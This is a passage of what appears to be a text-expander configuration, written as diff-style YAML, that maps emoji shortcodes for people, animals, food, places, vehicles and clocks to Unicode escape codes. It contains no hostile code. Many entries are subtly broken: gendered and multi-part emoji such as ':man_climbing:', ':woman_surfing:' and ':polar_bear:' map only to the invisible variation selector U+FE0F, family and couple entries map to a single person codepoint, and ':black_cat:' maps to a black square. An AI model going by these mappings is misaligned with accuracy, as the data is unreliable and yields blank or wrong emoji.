"\U0000FE0F" + - trigger: ":person_climbing:" + replace: "\U0001F9D7" + - trigger: ":man_climbing:" + replace: "\U0000FE0F" + - trigger: ":woman_climbing:" + replace: "\U0000FE0F" + - trigger: ":person_fencing:" + replace: "\U0001F93A" + - trigger: ":horse_racing:" + replace: "\U0001F3C7" + - trigger: ":skier:" + replace: "\U000026F7" + - trigger: ":snowboarder:" + replace: "\U0001F3C2" + - trigger: ":person_golfing:" + replace: "\U0001F3CC" + - trigger: ":man_golfing:" + replace: "\U0000FE0F" + - trigger: ":woman_golfing:" + replace: "\U0000FE0F" + - trigger: ":person_surfing:" + replace: "\U0001F3C4" + - trigger: ":man_surfing:" + replace: "\U0000FE0F" + - trigger: ":woman_surfing:" + replace: "\U0000FE0F" + - trigger: ":person_rowing_boat:" + replace: "\U0001F6A3" + - trigger: ":man_rowing_boat:" + replace: "\U0000FE0F" + - trigger: ":woman_rowing_boat:" + replace: "\U0000FE0F" + - trigger: ":person_swimming:" + replace: "\U0001F3CA" + - trigger: ":man_swimming:" + replace: "\U0000FE0F" + - trigger: ":woman_swimming:" + replace: "\U0000FE0F" + - trigger: ":person_bouncing_ball:" + replace: "\U000026F9" + - trigger: ":man_bouncing_ball:" + replace: "\U0000FE0F" + - trigger: ":woman_bouncing_ball:" + replace: "\U0000FE0F" + - trigger: ":person_lifting_weights:" + replace: "\U0001F3CB" + - trigger: ":man_lifting_weights:" + replace: "\U0000FE0F" + - trigger: ":woman_lifting_weights:" + replace: "\U0000FE0F" + - trigger: ":person_biking:" + replace: "\U0001F6B4" + - trigger: ":man_biking:" + replace: "\U0000FE0F" + - trigger: ":woman_biking:" + replace: "\U0000FE0F" + - trigger: ":person_mountain_biking:" + replace: "\U0001F6B5" + - trigger: ":man_mountain_biking:" + replace: "\U0000FE0F" + - trigger: ":woman_mountain_biking:" + replace: "\U0000FE0F" + - trigger: ":person_cartwheeling:" + replace: "\U0001F938" + - trigger: ":man_cartwheeling:" + replace: "\U0000FE0F" + - trigger: ":woman_cartwheeling:" + replace: "\U0000FE0F" + - trigger: ":people_wrestling:" + replace: "\U0001F93C" + - trigger: ":men_wrestling:" + replace: "\U0000FE0F" + - trigger: ":women_wrestling:" + replace: "\U0000FE0F" + - trigger: ":person_playing_water_polo:" + replace: "\U0001F93D" + - trigger: ":man_playing_water_polo:" + replace: "\U0000FE0F" + - trigger: ":woman_playing_water_polo:" + replace: "\U0000FE0F" + - trigger: ":person_playing_handball:" + replace: "\U0001F93E" + - trigger: ":man_playing_handball:" + replace: "\U0000FE0F" + - trigger: ":woman_playing_handball:" + replace: "\U0000FE0F" + - trigger: ":person_juggling:" + replace: "\U0001F939" + - trigger: ":man_juggling:" + replace: "\U0000FE0F" + - trigger: ":woman_juggling:" + replace: "\U0000FE0F" + - trigger: ":person_in_lotus_position:" + replace: "\U0001F9D8" + - trigger: ":man_in_lotus_position:" + replace: "\U0000FE0F" + - trigger: ":woman_in_lotus_position:" + replace: "\U0000FE0F" + - trigger: ":person_taking_bath:" + replace: "\U0001F6C0" + - trigger: ":person_in_bed:" + replace: "\U0001F6CC" + - trigger: ":people_holding_hands:" + replace: "\U0001F9D1" + - trigger: ":women_holding_hands:" + replace: "\U0001F46D" + - trigger: ":woman_and_man_holding_hands:" + replace: "\U0001F46B" + - trigger: ":men_holding_hands:" + replace: "\U0001F46C" + - trigger: ":kiss:" + replace: "\U0001F48F" + - trigger: ":kiss_woman_man:" + replace: "\U0001F468" + - trigger: ":kiss_man_man:" + replace: "\U0001F468" + - trigger: ":kiss_woman_woman:" + replace: "\U0001F469" + - trigger: ":couple_with_heart:" + replace: "\U0001F491" + - trigger: ":couple_with_heart_woman_man:" + replace: "\U0001F468" + - trigger: ":couple_with_heart_man_man:" + replace: "\U0001F468" + - trigger: ":couple_with_heart_woman_woman:" + replace: "\U0001F469" + - trigger: ":family:" + replace: "\U0001F46A" + - trigger: ":family_man_woman_boy:" + replace: "\U0001F466" + - trigger: ":family_man_woman_girl:" + replace: "\U0001F467" + - trigger: ":family_man_woman_girl_boy:" + replace: "\U0001F466" + - trigger: ":family_man_woman_boy_boy:" + replace: "\U0001F466" + - trigger: ":family_man_woman_girl_girl:" + replace: "\U0001F467" + - trigger: ":family_man_man_boy:" + replace: "\U0001F466" + - trigger: ":family_man_man_girl:" + replace: "\U0001F467" + - trigger: ":family_man_man_girl_boy:" + replace: "\U0001F466" + - trigger: ":family_man_man_boy_boy:" + replace: "\U0001F466" + - trigger: ":family_man_man_girl_girl:" + replace: "\U0001F467" + - trigger: ":family_woman_woman_boy:" + replace: "\U0001F466" + - trigger: ":family_woman_woman_girl:" + replace: "\U0001F467" + - trigger: ":family_woman_woman_girl_boy:" + replace: "\U0001F466" + - trigger: ":family_woman_woman_boy_boy:" + replace: "\U0001F466" + - trigger: ":family_woman_woman_girl_girl:" + replace: "\U0001F467" + - trigger: ":family_man_boy:" + replace: "\U0001F466" + - trigger: ":family_man_boy_boy:" + replace: "\U0001F466" + - trigger: ":family_man_girl:" + replace: "\U0001F467" + - trigger: ":family_man_girl_boy:" + replace: "\U0001F466" + - trigger: ":family_man_girl_girl:" + replace: "\U0001F467" + - trigger: ":family_woman_boy:" + replace: "\U0001F466" + - trigger: ":family_woman_boy_boy:" + replace: "\U0001F466" + - trigger: ":family_woman_girl:" + replace: "\U0001F467" + - trigger: ":family_woman_girl_boy:" + replace: "\U0001F466" + - trigger: ":family_woman_girl_girl:" + replace: "\U0001F467" + - trigger: ":speaking_head:" + replace: "\U0001F5E3" + - trigger: ":bust_in_silhouette:" + replace: "\U0001F464" + - trigger: ":busts_in_silhouette:" + replace: "\U0001F465" + - trigger: ":people_hugging:" + replace: "\U0001FAC2" + - trigger: ":footprints:" + replace: "\U0001F463" + - trigger: ":red_hair:" + replace: "\U0001F9B0" + - trigger: ":curly_hair:" + replace: "\U0001F9B1" + - trigger: ":white_hair:" + replace: "\U0001F9B3" + - trigger: ":bald:" + replace: "\U0001F9B2" + - trigger: ":monkey_face:" + replace: "\U0001F435" + - trigger: ":monkey:" + replace: "\U0001F412" + - trigger: ":gorilla:" + replace: "\U0001F98D" + - trigger: ":orangutan:" + replace: "\U0001F9A7" + - trigger: ":dog_face:" + replace: "\U0001F436" + - trigger: ":dog:" + replace: "\U0001F415" + - trigger: ":guide_dog:" + replace: "\U0001F9AE" + - trigger: ":service_dog:" + replace: "\U0001F9BA" + - trigger: ":poodle:" + replace: "\U0001F429" + - trigger: ":wolf:" + replace: "\U0001F43A" + - trigger: ":fox:" + replace: "\U0001F98A" + - trigger: ":raccoon:" + replace: "\U0001F99D" + - trigger: ":cat_face:" + replace: "\U0001F431" + - trigger: ":cat:" + replace: "\U0001F408" + - trigger: ":black_cat:" + replace: "\U00002B1B" + - trigger: ":lion:" + replace: "\U0001F981" + - trigger: ":tiger_face:" + replace: "\U0001F42F" + - trigger: ":tiger:" + replace: "\U0001F405" + - trigger: ":leopard:" + replace: "\U0001F406" + - trigger: ":horse_face:" + replace: "\U0001F434" + - trigger: ":horse:" + replace: "\U0001F40E" + - trigger: ":unicorn:" + replace: "\U0001F984" + - trigger: ":zebra:" + replace: "\U0001F993" + - trigger: ":deer:" + replace: "\U0001F98C" + - trigger: ":bison:" + replace: "\U0001F9AC" + - trigger: ":cow_face:" + replace: "\U0001F42E" + - trigger: ":ox:" + replace: "\U0001F402" + - trigger: ":water_buffalo:" + replace: "\U0001F403" + - trigger: ":cow:" + replace: "\U0001F404" + - trigger: ":pig_face:" + replace: "\U0001F437" + - trigger: ":pig:" + replace: "\U0001F416" + - trigger: ":boar:" + replace: "\U0001F417" + - trigger: ":pig_nose:" + replace: "\U0001F43D" + - trigger: ":ram:" + replace: "\U0001F40F" + - trigger: ":ewe:" + replace: "\U0001F411" + - trigger: ":goat:" + replace: "\U0001F410" + - trigger: ":camel:" + replace: "\U0001F42A" + - trigger: ":two_hump_camel:" + replace: "\U0001F42B" + - trigger: ":llama:" + replace: "\U0001F999" + - trigger: ":giraffe:" + replace: "\U0001F992" + - trigger: ":elephant:" + replace: "\U0001F418" + - trigger: ":mammoth:" + replace: "\U0001F9A3" + - trigger: ":rhinoceros:" + replace: "\U0001F98F" + - trigger: ":hippopotamus:" + replace: "\U0001F99B" + - trigger: ":mouse_face:" + replace: "\U0001F42D" + - trigger: ":mouse:" + replace: "\U0001F401" + - trigger: ":rat:" + replace: "\U0001F400" + - trigger: ":hamster:" + replace: "\U0001F439" + - trigger: ":rabbit_face:" + replace: "\U0001F430" + - trigger: ":rabbit:" + replace: "\U0001F407" + - trigger: ":chipmunk:" + replace: "\U0001F43F" + - trigger: ":beaver:" + replace: "\U0001F9AB" + - trigger: ":hedgehog:" + replace: "\U0001F994" + - trigger: ":bat:" + replace: "\U0001F987" + - trigger: ":bear:" + replace: "\U0001F43B" + - trigger: ":polar_bear:" + replace: "\U0000FE0F" + - trigger: ":koala:" + replace: "\U0001F428" + - trigger: ":panda:" + replace: "\U0001F43C" + - trigger: ":sloth:" + replace: "\U0001F9A5" + - trigger: ":otter:" + replace: "\U0001F9A6" + - trigger: ":skunk:" + replace: "\U0001F9A8" + - trigger: ":kangaroo:" + replace: "\U0001F998" + - trigger: ":badger:" + replace: "\U0001F9A1" + - trigger: ":paw_prints:" + replace: "\U0001F43E" + - trigger: ":turkey:" + replace: "\U0001F983" + - trigger: ":chicken:" + replace: "\U0001F414" + - trigger: ":rooster:" + replace: "\U0001F413" + - trigger: ":hatching_chick:" + replace: "\U0001F423" + - trigger: ":baby_chick:" + replace: "\U0001F424" + - trigger: ":front_facing_baby_chick:" + replace: "\U0001F425" + - trigger: ":bird:" + replace: "\U0001F426" + - trigger: ":penguin:" + replace: "\U0001F427" + - trigger: ":dove:" + replace: "\U0001F54A" + - trigger: ":eagle:" + replace: "\U0001F985" + - trigger: ":duck:" + replace: "\U0001F986" + - trigger: ":swan:" + replace: "\U0001F9A2" + - trigger: ":owl:" + replace: "\U0001F989" + - trigger: ":dodo:" + replace: "\U0001F9A4" + - trigger: ":feather:" + replace: "\U0001FAB6" + - trigger: ":flamingo:" + replace: "\U0001F9A9" + - trigger: ":peacock:" + replace: "\U0001F99A" + - trigger: ":parrot:" + replace: "\U0001F99C" + - trigger: ":frog:" + replace: "\U0001F438" + - trigger: ":crocodile:" + replace: "\U0001F40A" + - trigger: ":turtle:" + replace: "\U0001F422" + - trigger: ":lizard:" + replace: "\U0001F98E" + - trigger: ":snake:" + replace: "\U0001F40D" + - trigger: ":dragon_face:" + replace: "\U0001F432" + - trigger: ":dragon:" + replace: "\U0001F409" + - trigger: ":sauropod:" + replace: "\U0001F995" + - trigger: ":t_rex:" + replace: "\U0001F996" + - trigger: ":spouting_whale:" + replace: "\U0001F433" + - trigger: ":whale:" + replace: "\U0001F40B" + - trigger: ":dolphin:" + replace: "\U0001F42C" + - trigger: ":seal:" + replace: "\U0001F9AD" + - trigger: ":fish:" + replace: "\U0001F41F" + - trigger: ":tropical_fish:" + replace: "\U0001F420" + - trigger: ":blowfish:" + replace: "\U0001F421" + - trigger: ":shark:" + replace: "\U0001F988" + - trigger: ":octopus:" + replace: "\U0001F419" + - trigger: ":spiral_shell:" + replace: "\U0001F41A" + - trigger: ":coral:" + replace: "\U0001FAB8" + - trigger: ":snail:" + replace: "\U0001F40C" + - trigger: ":butterfly:" + replace: "\U0001F98B" + - trigger: ":bug:" + replace: "\U0001F41B" + - trigger: ":ant:" + replace: "\U0001F41C" + - trigger: ":honeybee:" + replace: "\U0001F41D" + - trigger: ":beetle:" + replace: "\U0001FAB2" + - trigger: ":lady_beetle:" + replace: "\U0001F41E" + - trigger: ":cricket:" + replace: "\U0001F997" + - trigger: ":cockroach:" + replace: "\U0001FAB3" + - trigger: ":spider:" + replace: "\U0001F577" + - trigger: ":spider_web:" + replace: "\U0001F578" + - trigger: ":scorpion:" + replace: "\U0001F982" + - trigger: ":mosquito:" + replace: "\U0001F99F" + - trigger: ":fly:" + replace: "\U0001FAB0" + - trigger: ":worm:" + replace: "\U0001FAB1" + - trigger: ":microbe:" + replace: "\U0001F9A0" + - trigger: ":bouquet:" + replace: "\U0001F490" + - trigger: ":cherry_blossom:" + replace: "\U0001F338" + - trigger: ":white_flower:" + replace: "\U0001F4AE" + - trigger: ":lotus:" + replace: "\U0001FAB7" + - trigger: ":rosette:" + replace: "\U0001F3F5" + - trigger: ":rose:" + replace: "\U0001F339" + - trigger: ":wilted_flower:" + replace: "\U0001F940" + - trigger: ":hibiscus:" + replace: "\U0001F33A" + - trigger: ":sunflower:" + replace: "\U0001F33B" + - trigger: ":blossom:" + replace: "\U0001F33C" + - trigger: ":tulip:" + replace: "\U0001F337" + - trigger: ":seedling:" + replace: "\U0001F331" + - trigger: ":potted_plant:" + replace: "\U0001FAB4" + - trigger: ":evergreen_tree:" + replace: "\U0001F332" + - trigger: ":deciduous_tree:" + replace: "\U0001F333" + - trigger: ":palm_tree:" + replace: "\U0001F334" + - trigger: ":cactus:" + replace: "\U0001F335" + - trigger: ":sheaf_of_rice:" + replace: "\U0001F33E" + - trigger: ":herb:" + replace: "\U0001F33F" + - trigger: ":shamrock:" + replace: "\U00002618" + - trigger: ":four_leaf_clover:" + replace: "\U0001F340" + - trigger: ":maple_leaf:" + replace: "\U0001F341" + - trigger: ":fallen_leaf:" + replace: "\U0001F342" + - trigger: ":leaf_fluttering_in_wind:" + replace: "\U0001F343" + - trigger: ":empty_nest:" + replace: "\U0001FAB9" + - trigger: ":nest_with_eggs:" + replace: "\U0001FABA" + - trigger: ":grapes:" + replace: "\U0001F347" + - trigger: ":melon:" + replace: "\U0001F348" + - trigger: ":watermelon:" + replace: "\U0001F349" + - trigger: ":tangerine:" + replace: "\U0001F34A" + - trigger: ":lemon:" + replace: "\U0001F34B" + - trigger: ":banana:" + replace: "\U0001F34C" + - trigger: ":pineapple:" + replace: "\U0001F34D" + - trigger: ":mango:" + replace: "\U0001F96D" + - trigger: ":red_apple:" + replace: "\U0001F34E" + - trigger: ":green_apple:" + replace: "\U0001F34F" + - trigger: ":pear:" + replace: "\U0001F350" + - trigger: ":peach:" + replace: "\U0001F351" + - trigger: ":cherries:" + replace: "\U0001F352" + - trigger: ":strawberry:" + replace: "\U0001F353" + - trigger: ":blueberries:" + replace: "\U0001FAD0" + - trigger: ":kiwi_fruit:" + replace: "\U0001F95D" + - trigger: ":tomato:" + replace: "\U0001F345" + - trigger: ":olive:" + replace: "\U0001FAD2" + - trigger: ":coconut:" + replace: "\U0001F965" + - trigger: ":avocado:" + replace: "\U0001F951" + - trigger: ":eggplant:" + replace: "\U0001F346" + - trigger: ":potato:" + replace: "\U0001F954" + - trigger: ":carrot:" + replace: "\U0001F955" + - trigger: ":ear_of_corn:" + replace: "\U0001F33D" + - trigger: ":hot_pepper:" + replace: "\U0001F336" + - trigger: ":bell_pepper:" + replace: "\U0001FAD1" + - trigger: ":cucumber:" + replace: "\U0001F952" + - trigger: ":leafy_green:" + replace: "\U0001F96C" + - trigger: ":broccoli:" + replace: "\U0001F966" + - trigger: ":garlic:" + replace: "\U0001F9C4" + - trigger: ":onion:" + replace: "\U0001F9C5" + - trigger: ":mushroom:" + replace: "\U0001F344" + - trigger: ":peanuts:" + replace: "\U0001F95C" + - trigger: ":beans:" + replace: "\U0001FAD8" + - trigger: ":chestnut:" + replace: "\U0001F330" + - trigger: ":bread:" + replace: "\U0001F35E" + - trigger: ":croissant:" + replace: "\U0001F950" + - trigger: ":baguette_bread:" + replace: "\U0001F956" + - trigger: ":flatbread:" + replace: "\U0001FAD3" + - trigger: ":pretzel:" + replace: "\U0001F968" + - trigger: ":bagel:" + replace: "\U0001F96F" + - trigger: ":pancakes:" + replace: "\U0001F95E" + - trigger: ":waffle:" + replace: "\U0001F9C7" + - trigger: ":cheese_wedge:" + replace: "\U0001F9C0" + - trigger: ":meat_on_bone:" + replace: "\U0001F356" + - trigger: ":poultry_leg:" + replace: "\U0001F357" + - trigger: ":cut_of_meat:" + replace: "\U0001F969" + - trigger: ":bacon:" + replace: "\U0001F953" + - trigger: ":hamburger:" + replace: "\U0001F354" + - trigger: ":french_fries:" + replace: "\U0001F35F" + - trigger: ":pizza:" + replace: "\U0001F355" + - trigger: ":hot_dog:" + replace: "\U0001F32D" + - trigger: ":sandwich:" + replace: "\U0001F96A" + - trigger: ":taco:" + replace: "\U0001F32E" + - trigger: ":burrito:" + replace: "\U0001F32F" + - trigger: ":tamale:" + replace: "\U0001FAD4" + - trigger: ":stuffed_flatbread:" + replace: "\U0001F959" + - trigger: ":falafel:" + replace: "\U0001F9C6" + - trigger: ":egg:" + replace: "\U0001F95A" + - trigger: ":cooking:" + replace: "\U0001F373" + - trigger: ":shallow_pan_of_food:" + replace: "\U0001F958" + - trigger: ":pot_of_food:" + replace: "\U0001F372" + - trigger: ":fondue:" + replace: "\U0001FAD5" + - trigger: ":bowl_with_spoon:" + replace: "\U0001F963" + - trigger: ":green_salad:" + replace: "\U0001F957" + - trigger: ":popcorn:" + replace: "\U0001F37F" + - trigger: ":butter:" + replace: "\U0001F9C8" + - trigger: ":salt:" + replace: "\U0001F9C2" + - trigger: ":canned_food:" + replace: "\U0001F96B" + - trigger: ":bento_box:" + replace: "\U0001F371" + - trigger: ":rice_cracker:" + replace: "\U0001F358" + - trigger: ":rice_ball:" + replace: "\U0001F359" + - trigger: ":cooked_rice:" + replace: "\U0001F35A" + - trigger: ":curry_rice:" + replace: "\U0001F35B" + - trigger: ":steaming_bowl:" + replace: "\U0001F35C" + - trigger: ":spaghetti:" + replace: "\U0001F35D" + - trigger: ":roasted_sweet_potato:" + replace: "\U0001F360" + - trigger: ":oden:" + replace: "\U0001F362" + - trigger: ":sushi:" + replace: "\U0001F363" + - trigger: ":fried_shrimp:" + replace: "\U0001F364" + - trigger: ":fish_cake_with_swirl:" + replace: "\U0001F365" + - trigger: ":moon_cake:" + replace: "\U0001F96E" + - trigger: ":dango:" + replace: "\U0001F361" + - trigger: ":dumpling:" + replace: "\U0001F95F" + - trigger: ":fortune_cookie:" + replace: "\U0001F960" + - trigger: ":takeout_box:" + replace: "\U0001F961" + - trigger: ":crab:" + replace: "\U0001F980" + - trigger: ":lobster:" + replace: "\U0001F99E" + - trigger: ":shrimp:" + replace: "\U0001F990" + - trigger: ":squid:" + replace: "\U0001F991" + - trigger: ":oyster:" + replace: "\U0001F9AA" + - trigger: ":soft_ice_cream:" + replace: "\U0001F366" + - trigger: ":shaved_ice:" + replace: "\U0001F367" + - trigger: ":ice_cream:" + replace: "\U0001F368" + - trigger: ":doughnut:" + replace: "\U0001F369" + - trigger: ":cookie:" + replace: "\U0001F36A" + - trigger: ":birthday_cake:" + replace: "\U0001F382" + - trigger: ":shortcake:" + replace: "\U0001F370" + - trigger: ":cupcake:" + replace: "\U0001F9C1" + - trigger: ":pie:" + replace: "\U0001F967" + - trigger: ":chocolate_bar:" + replace: "\U0001F36B" + - trigger: ":candy:" + replace: "\U0001F36C" + - trigger: ":lollipop:" + replace: "\U0001F36D" + - trigger: ":custard:" + replace: "\U0001F36E" + - trigger: ":honey_pot:" + replace: "\U0001F36F" + - trigger: ":baby_bottle:" + replace: "\U0001F37C" + - trigger: ":glass_of_milk:" + replace: "\U0001F95B" + - trigger: ":hot_beverage:" + replace: "\U00002615" + - trigger: ":teapot:" + replace: "\U0001FAD6" + - trigger: ":teacup_without_handle:" + replace: "\U0001F375" + - trigger: ":sake:" + replace: "\U0001F376" + - trigger: ":bottle_with_popping_cork:" + replace: "\U0001F37E" + - trigger: ":wine_glass:" + replace: "\U0001F377" + - trigger: ":cocktail_glass:" + replace: "\U0001F378" + - trigger: ":tropical_drink:" + replace: "\U0001F379" + - trigger: ":beer_mug:" + replace: "\U0001F37A" + - trigger: ":clinking_beer_mugs:" + replace: "\U0001F37B" + - trigger: ":clinking_glasses:" + replace: "\U0001F942" + - trigger: ":tumbler_glass:" + replace: "\U0001F943" + - trigger: ":pouring_liquid:" + replace: "\U0001FAD7" + - trigger: ":cup_with_straw:" + replace: "\U0001F964" + - trigger: ":bubble_tea:" + replace: "\U0001F9CB" + - trigger: ":beverage_box:" + replace: "\U0001F9C3" + - trigger: ":mate:" + replace: "\U0001F9C9" + - trigger: ":ice:" + replace: "\U0001F9CA" + - trigger: ":chopsticks:" + replace: "\U0001F962" + - trigger: ":fork_and_knife_with_plate:" + replace: "\U0001F37D" + - trigger: ":fork_and_knife:" + replace: "\U0001F374" + - trigger: ":spoon:" + replace: "\U0001F944" + - trigger: ":kitchen_knife:" + replace: "\U0001F52A" + - trigger: ":jar:" + replace: "\U0001FAD9" + - trigger: ":amphora:" + replace: "\U0001F3FA" + - trigger: ":globe_showing_europe_africa:" + replace: "\U0001F30D" + - trigger: ":globe_showing_americas:" + replace: "\U0001F30E" + - trigger: ":globe_showing_asia_australia:" + replace: "\U0001F30F" + - trigger: ":globe_with_meridians:" + replace: "\U0001F310" + - trigger: ":world_map:" + replace: "\U0001F5FA" + - trigger: ":map_of_japan:" + replace: "\U0001F5FE" + - trigger: ":compass:" + replace: "\U0001F9ED" + - trigger: ":snow_capped_mountain:" + replace: "\U0001F3D4" + - trigger: ":mountain:" + replace: "\U000026F0" + - trigger: ":volcano:" + replace: "\U0001F30B" + - trigger: ":mount_fuji:" + replace: "\U0001F5FB" + - trigger: ":camping:" + replace: "\U0001F3D5" + - trigger: ":beach_with_umbrella:" + replace: "\U0001F3D6" + - trigger: ":desert:" + replace: "\U0001F3DC" + - trigger: ":desert_island:" + replace: "\U0001F3DD" + - trigger: ":national_park:" + replace: "\U0001F3DE" + - trigger: ":stadium:" + replace: "\U0001F3DF" + - trigger: ":classical_building:" + replace: "\U0001F3DB" + - trigger: ":building_construction:" + replace: "\U0001F3D7" + - trigger: ":brick:" + replace: "\U0001F9F1" + - trigger: ":rock:" + replace: "\U0001FAA8" + - trigger: ":wood:" + replace: "\U0001FAB5" + - trigger: ":hut:" + replace: "\U0001F6D6" + - trigger: ":houses:" + replace: "\U0001F3D8" + - trigger: ":derelict_house:" + replace: "\U0001F3DA" + - trigger: ":house:" + replace: "\U0001F3E0" + - trigger: ":house_with_garden:" + replace: "\U0001F3E1" + - trigger: ":office_building:" + replace: "\U0001F3E2" + - trigger: ":japanese_post_office:" + replace: "\U0001F3E3" + - trigger: ":post_office:" + replace: "\U0001F3E4" + - trigger: ":hospital:" + replace: "\U0001F3E5" + - trigger: ":bank:" + replace: "\U0001F3E6" + - trigger: ":hotel:" + replace: "\U0001F3E8" + - trigger: ":love_hotel:" + replace: "\U0001F3E9" + - trigger: ":convenience_store:" + replace: "\U0001F3EA" + - trigger: ":school:" + replace: "\U0001F3EB" + - trigger: ":department_store:" + replace: "\U0001F3EC" + - trigger: ":factory:" + replace: "\U0001F3ED" + - trigger: ":japanese_castle:" + replace: "\U0001F3EF" + - trigger: ":castle:" + replace: "\U0001F3F0" + - trigger: ":wedding:" + replace: "\U0001F492" + - trigger: ":tokyo_tower:" + replace: "\U0001F5FC" + - trigger: ":statue_of_liberty:" + replace: "\U0001F5FD" + - trigger: ":church:" + replace: "\U000026EA" + - trigger: ":mosque:" + replace: "\U0001F54C" + - trigger: ":hindu_temple:" + replace: "\U0001F6D5" + - trigger: ":synagogue:" + replace: "\U0001F54D" + - trigger: ":shinto_shrine:" + replace: "\U000026E9" + - trigger: ":kaaba:" + replace: "\U0001F54B" + - trigger: ":fountain:" + replace: "\U000026F2" + - trigger: ":tent:" + replace: "\U000026FA" + - trigger: ":foggy:" + replace: "\U0001F301" + - trigger: ":night_with_stars:" + replace: "\U0001F303" + - trigger: ":cityscape:" + replace: "\U0001F3D9" + - trigger: ":sunrise_over_mountains:" + replace: "\U0001F304" + - trigger: ":sunrise:" + replace: "\U0001F305" + - trigger: ":cityscape_at_dusk:" + replace: "\U0001F306" + - trigger: ":sunset:" + replace: "\U0001F307" + - trigger: ":bridge_at_night:" + replace: "\U0001F309" + - trigger: ":hot_springs:" + replace: "\U00002668" + - trigger: ":carousel_horse:" + replace: "\U0001F3A0" + - trigger: ":playground_slide:" + replace: "\U0001F6DD" + - trigger: ":ferris_wheel:" + replace: "\U0001F3A1" + - trigger: ":roller_coaster:" + replace: "\U0001F3A2" + - trigger: ":barber_pole:" + replace: "\U0001F488" + - trigger: ":circus_tent:" + replace: "\U0001F3AA" + - trigger: ":locomotive:" + replace: "\U0001F682" + - trigger: ":railway_car:" + replace: "\U0001F683" + - trigger: ":high_speed_train:" + replace: "\U0001F684" + - trigger: ":bullet_train:" + replace: "\U0001F685" + - trigger: ":train:" + replace: "\U0001F686" + - trigger: ":metro:" + replace: "\U0001F687" + - trigger: ":light_rail:" + replace: "\U0001F688" + - trigger: ":station:" + replace: "\U0001F689" + - trigger: ":tram:" + replace: "\U0001F68A" + - trigger: ":monorail:" + replace: "\U0001F69D" + - trigger: ":mountain_railway:" + replace: "\U0001F69E" + - trigger: ":tram_car:" + replace: "\U0001F68B" + - trigger: ":bus:" + replace: "\U0001F68C" + - trigger: ":oncoming_bus:" + replace: "\U0001F68D" + - trigger: ":trolleybus:" + replace: "\U0001F68E" + - trigger: ":minibus:" + replace: "\U0001F690" + - trigger: ":ambulance:" + replace: "\U0001F691" + - trigger: ":fire_engine:" + replace: "\U0001F692" + - trigger: ":police_car:" + replace: "\U0001F693" + - trigger: ":oncoming_police_car:" + replace: "\U0001F694" + - trigger: ":taxi:" + replace: "\U0001F695" + - trigger: ":oncoming_taxi:" + replace: "\U0001F696" + - trigger: ":automobile:" + replace: "\U0001F697" + - trigger: ":oncoming_automobile:" + replace: "\U0001F698" + - trigger: ":sport_utility_vehicle:" + replace: "\U0001F699" + - trigger: ":pickup_truck:" + replace: "\U0001F6FB" + - trigger: ":delivery_truck:" + replace: "\U0001F69A" + - trigger: ":articulated_lorry:" + replace: "\U0001F69B" + - trigger: ":tractor:" + replace: "\U0001F69C" + - trigger: ":racing_car:" + replace: "\U0001F3CE" + - trigger: ":motorcycle:" + replace: "\U0001F3CD" + - trigger: ":motor_scooter:" + replace: "\U0001F6F5" + - trigger: ":manual_wheelchair:" + replace: "\U0001F9BD" + - trigger: ":motorized_wheelchair:" + replace: "\U0001F9BC" + - trigger: ":auto_rickshaw:" + replace: "\U0001F6FA" + - trigger: ":bicycle:" + replace: "\U0001F6B2" + - trigger: ":kick_scooter:" + replace: "\U0001F6F4" + - trigger: ":skateboard:" + replace: "\U0001F6F9" + - trigger: ":roller_skate:" + replace: "\U0001F6FC" + - trigger: ":bus_stop:" + replace: "\U0001F68F" + - trigger: ":motorway:" + replace: "\U0001F6E3" + - trigger: ":railway_track:" + replace: "\U0001F6E4" + - trigger: ":oil_drum:" + replace: "\U0001F6E2" + - trigger: ":fuel_pump:" + replace: "\U000026FD" + - trigger: ":wheel:" + replace: "\U0001F6DE" + - trigger: ":police_car_light:" + replace: "\U0001F6A8" + - trigger: ":horizontal_traffic_light:" + replace: "\U0001F6A5" + - trigger: ":vertical_traffic_light:" + replace: "\U0001F6A6" + - trigger: ":stop_sign:" + replace: "\U0001F6D1" + - trigger: ":construction:" + replace: "\U0001F6A7" + - trigger: ":anchor:" + replace: "\U00002693" + - trigger: ":ring_buoy:" + replace: "\U0001F6DF" + - trigger: ":sailboat:" + replace: "\U000026F5" + - trigger: ":canoe:" + replace: "\U0001F6F6" + - trigger: ":speedboat:" + replace: "\U0001F6A4" + - trigger: ":passenger_ship:" + replace: "\U0001F6F3" + - trigger: ":ferry:" + replace: "\U000026F4" + - trigger: ":motor_boat:" + replace: "\U0001F6E5" + - trigger: ":ship:" + replace: "\U0001F6A2" + - trigger: ":airplane:" + replace: "\U00002708" + - trigger: ":small_airplane:" + replace: "\U0001F6E9" + - trigger: ":airplane_departure:" + replace: "\U0001F6EB" + - trigger: ":airplane_arrival:" + replace: "\U0001F6EC" + - trigger: ":parachute:" + replace: "\U0001FA82" + - trigger: ":seat:" + replace: "\U0001F4BA" + - trigger: ":helicopter:" + replace: "\U0001F681" + - trigger: ":suspension_railway:" + replace: "\U0001F69F" + - trigger: ":mountain_cableway:" + replace: "\U0001F6A0" + - trigger: ":aerial_tramway:" + replace: "\U0001F6A1" + - trigger: ":satellite:" + replace: "\U0001F6F0" + - trigger: ":rocket:" + replace: "\U0001F680" + - trigger: ":flying_saucer:" + replace: "\U0001F6F8" + - trigger: ":bellhop_bell:" + replace: "\U0001F6CE" + - trigger: ":luggage:" + replace: "\U0001F9F3" + - trigger: ":hourglass_done:" + replace: "\U0000231B" + - trigger: ":hourglass_not_done:" + replace: "\U000023F3" + - trigger: ":watch:" + replace: "\U0000231A" + - trigger: ":alarm_clock:" + replace: "\U000023F0" + - trigger: ":stopwatch:" + replace: "\U000023F1" + - trigger: ":timer_clock:" + replace: "\U000023F2" + - trigger: ":mantelpiece_clock:" + replace: "\U0001F570" + - trigger: ":twelve_oclock:" + replace: "\U0001F55B" + - trigger: ":twelve_thirty:" + replace: "\U0001F567" + - trigger: ":one_oclock:" + replace: "\U0001F550" + - trigger: ":one_thirty:" + replace: "\U0001F55C" + - trigger: ":two_oclock:" + replace: "\U0001F551" + - trigger: ":two_thirty:" + replace: "\U0001F55D" + - trigger: ":three_oclock:" + replace: "\U0001F552" + - trigger: ":three_thirty:" + replace: "\U0001F55E" + - trigger: ":four_oclock:" + replace: "\U0001F553" + - trigger: ":four_thirty:" + replace: "\U0001F55F" + - trigger: ":five_oclock:" + replace: "\U0001F554" + - trigger: ":five_thirty:" + replace: "\U0001F560" + - trigger: ":six_oclock:" + replace: "\U0001F555" + - trigger: ":six_thirty:" + replace: "\U0001F561" + - trigger: ":seven_oclock:" + replace: "\U0001F556" + - trigger: ":seven_thirty:" + replace: "\U0001F562" + - trigger: ":eight_oclock:" + replace: "\U0001F557" + - trigger: 